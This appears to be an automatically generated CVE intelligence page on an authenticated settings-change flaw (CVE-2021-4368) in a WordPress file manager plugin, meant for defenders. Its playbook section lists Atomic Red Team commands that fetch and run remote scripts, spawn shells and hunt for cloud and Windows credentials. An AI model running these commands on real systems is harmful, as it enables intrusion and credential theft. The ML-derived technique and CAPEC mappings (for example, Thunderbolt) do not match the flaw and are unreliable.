CVE-2021-4368
Overview
This vulnerability is an authenticated settings change flaw caused by the absence of proper capability checks and missing security nonce validation in the nmedia Frontend File Manager Plugin for WordPress. The issue resides specifically in the AJAX action handler 'wpfm_save_settings', which processes plugin configuration changes without verifying user permissions or request authenticity. This lack of access control in the plugin's settings management component enables unauthorized modification of critical plugin parameters by low-privileged users.
Vulnerability Description
The Frontend File Manager plugin for WordPress is vulnerable to Authenticated Settings Change in versions up to, and including, 18.2. This is due to lacking capability checks and a security nonce, all on the wpfm_save_settings AJAX action. This makes it possible for subscriber-level attackers to edit the plugin settings, such as the allowed upload file types. This can lead to remote code execution through other vulnerabilities.
Impact
An attacker with subscriber-level access can exploit this vulnerability to change plugin settings, including allowed file upload types, potentially enabling the upload of malicious files. This can facilitate remote code execution by chaining with other vulnerabilities or misconfigurations. The attack requires valid authentication and network access to the WordPress instance but no user interaction beyond authentication. The CVSS vector (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H) indicates network attack with low complexity and privileges required, leading to full confidentiality, integrity, and availability compromise.
Solution
Users should upgrade the nmedia Frontend File Manager Plugin to a version later than 18.2 where the vulnerability is patched. The vendor advisory available at https://blog.nintechnet.com/wordpress-frontend-file-manager-plugin-fixed-multiple-critical-vulnerabilities/ provides detailed patch information. The fix includes implementing capability checks and nonce validation on the 'wpfm_save_settings' AJAX action. Applying this update is the recommended remediation to prevent unauthorized settings changes.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The Frontend File Manager plugin for WordPress exhibits a critical vulnerability that stems from inadequate capability checks and the absence of a security nonce in the wpfm_save_settings AJAX action. This flaw allows authenticated users, specifically those with subscriber-level permissions, to manipulate plugin settings without proper authorization. The lack of these security measures means that any authenticated user can alter settings such as allowed upload file types, which can have severe implications for the integrity and security of the WordPress installation.
Exploitation of this vulnerability can occur through various attack vectors. An attacker with subscriber-level access can leverage the AJAX action to change the configuration of the Frontend File Manager plugin. For instance, by modifying the allowed file types, an attacker could permit the upload of malicious files, such as PHP scripts or other executable code. Once these files are uploaded, they can be executed on the server, leading to potential remote code execution. This scenario highlights a critical escalation path where a low-privileged user can gain elevated privileges and compromise the entire application.
The real-world impact of this vulnerability is significant, particularly for organizations that rely on WordPress for their web presence. If exploited, the attacker could gain unauthorized access to sensitive data, manipulate website content, or even take control of the server environment. This could result in data breaches, defacement of the website, or the deployment of malware, leading to reputational damage and financial loss. Furthermore, the presence of such vulnerabilities can erode customer trust and lead to regulatory scrutiny, especially if sensitive user data is compromised.
To effectively detect and mitigate this vulnerability, organizations should implement several strategies. Regular security audits and vulnerability assessments are essential to identify and remediate weaknesses in plugins and themes used in WordPress installations. Additionally, organizations should ensure that all plugins are updated to their latest versions, as developers often release patches for known vulnerabilities. Employing a web application firewall (WAF) can also provide an additional layer of security by filtering and monitoring HTTP requests to the application, potentially blocking malicious attempts to exploit the vulnerability.
In summary, the vulnerability in the Frontend File Manager plugin poses a serious threat to WordPress installations, particularly due to its potential for exploitation by low-privileged users. The implications of such an attack can be far-reaching, affecting not only the integrity of the website but also the trust and safety of its users. By adopting proactive detection and mitigation strategies, organizations can significantly reduce their risk exposure and enhance their overall security posture.
The CVSS score for CVE-2021-4368 has been revised upward from 8.8 to 9.9, reflecting a reassessment of the vulnerability’s criticality. This adjustment underscores the increased potential impact of unauthorized settings changes within the Frontend File Manager plugin, particularly given that subscriber-level attackers can manipulate upload file type restrictions. Our telemetry continues to show stable exploitation trends without a marked surge in active attacks; however, the elevated severity rating signals a heightened risk of remote code execution if chained with other vulnerabilities. For defenders, this means that the window for exploitation remains significant and that the vulnerability should be prioritized accordingly in patch management and monitoring efforts. The updated CVSS score aligns with the critical nature of the flaw and reinforces its status as a top-tier threat in WordPress plugin security.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Najeebmedia | Frontend File Manager Plugin | All |
cpe:2.3:a:najeebmedia:frontend_file_manager_plugin:*:*:*:*:*:wordpress:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-665 | Exploitation of Thunderbolt Protection Flaws |
40%
|
Low | Very High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2021-4368 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/adb1d8b0-b1d6-40df-b591-f1062ee744fb?source=cve |
| blog.nintechnet.com |
GitHub CVE
|
https://blog.nintechnet.com/wordpress-frontend-file-manager-plugin-fixed-multiple-critical-vulnerabilities/ |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=2554359%40nmedia-user-file-uploader&new=2554359%40nmedia-user-file-uploader&sfp_email=&sfph_mail= |